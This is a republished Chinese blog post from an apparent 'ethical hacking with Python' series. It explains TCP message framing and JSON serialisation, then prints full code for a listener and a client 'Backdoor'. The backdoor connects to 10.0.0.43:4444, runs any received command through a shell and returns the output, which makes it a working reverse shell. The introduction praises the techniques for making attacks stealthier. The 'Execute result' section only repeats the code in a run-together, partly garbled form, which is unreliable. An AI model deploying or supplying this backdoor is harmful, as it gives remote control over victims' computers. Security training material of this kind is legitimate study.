作者：龙娃爸爸3 | 来源：互联网 | 2024-11-09 16:33
在《Python伦理黑客技术：深入探讨后门攻击（第三部分）》中，作者详细分析了后门攻击中的Socket问题。由于TCP协议基于流，难以确定消息批次的结束点，这给后门攻击的实现带来了挑战。为了解决这一问题，文章提出了一系列有效的技术方案，包括使用特定的分隔符和长度前缀，以确保数据包的准确传输和解析。这些方法不仅提高了攻击的隐蔽性和可靠性，还为安全研究人员提供了宝贵的参考。
BACKDOORS Sockets
Problem:
- TCP is stream-based.
- Difficult to identify the end of message/batch.
Solution:
- Make sure the message is well defined.
- Implement a protocol that sends and receives methods conform to.
- Send the size of the message as a header.
- Append an end-of-message mark to the end of each message.
- Serialize the message.
BACKDOORS Serialization
Benefits:
- Message is well defined, receiver knows if message is incomplete.
- Can be used to transfer objects(lists, dicts ...etc)
Implementation:
- JSON and Pickle are common solutions.
- JSON(Javascript Object Notation) is implemented in many programming languages.
- Represents objects as text.
- Widely used when transferring data between clients and servers.
Server Side - Listener Code:
#!/usr/bin/env python
import socket
import json
class Listener:
def __init__(self, ip, port):
listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind((ip, port))
listener.listen(0)
print("[+] Waiting for incoming connections")
self.connection, address = listener.accept()
print("[+] Got a connection from " + str(address))
def reliable_send(self, data):
json_data = json.dumps(data).encode()
self.connection.send(json_data)
def reliable_receive(self):
json_data = ""
while True:
try:
json_data = json_data + self.connection.recv(1024).decode()
return json.loads(json_data)
except ValueError:
continue
def execute_remotely(self, command):
self.reliable_send(command.decode())
return self.reliable_receive()
def run(self):
while True:
command = input(">> ").encode()
result = self.execute_remotely(command)
print(result)
my_listener = Listener("10.0.0.43", 4444)
my_listener.run()
Client Side - Backdoor code:
#!/usr/bin/env python
import json
import socket
import subprocess
class Backdoor:
def __init__(self, ip, port):
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect((ip, port))
def reliable_send(self, data):
json_data = json.dumps(data).encode()
self.connection.send(json_data)
def reliable_receive(self):
json_data = ""
while True:
try:
json_data = json_data + self.connection.recv(1024).decode()
return json.loads(json_data)
except ValueError:
continue
def execute_system_command(self, command):
return subprocess.check_output(command, shell=True)
def run(self):
while True:
command = self.reliable_receive()
command_result = self.execute_system_command(command)
self.reliable_send(command_result.decode())
connection.close()
my_backdoor = Backdoor("10.0.0.43", 4444)
my_backdoor.run()
Execute result:
#!/usr/bin/env pythonimport jsonimport socketimport subprocess
class Backdoor: def __init__(self, ip, port): self.cOnnection= socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.connection.connect((ip, port))
def reliable_send(self, data): json_data = json.dumps(data).encode() self.connection.send(json_data)
def reliable_receive(self): json_data = "" while True: try: json_data = json_data + self.connection.recv(1024).decode() return json.loads(json_data) except ValueError: continue
def execute_system_command(self, command): return subprocess.check_output(command, shell=True)
def run(self): while True: command = self.reliable_receive() command_result = self.execute_system_command(command) self.reliable_send(command_result.decode()) connection.close()
my_backdoor = Backdoor("10.0.0.43", 4444)my_backdoor.run()
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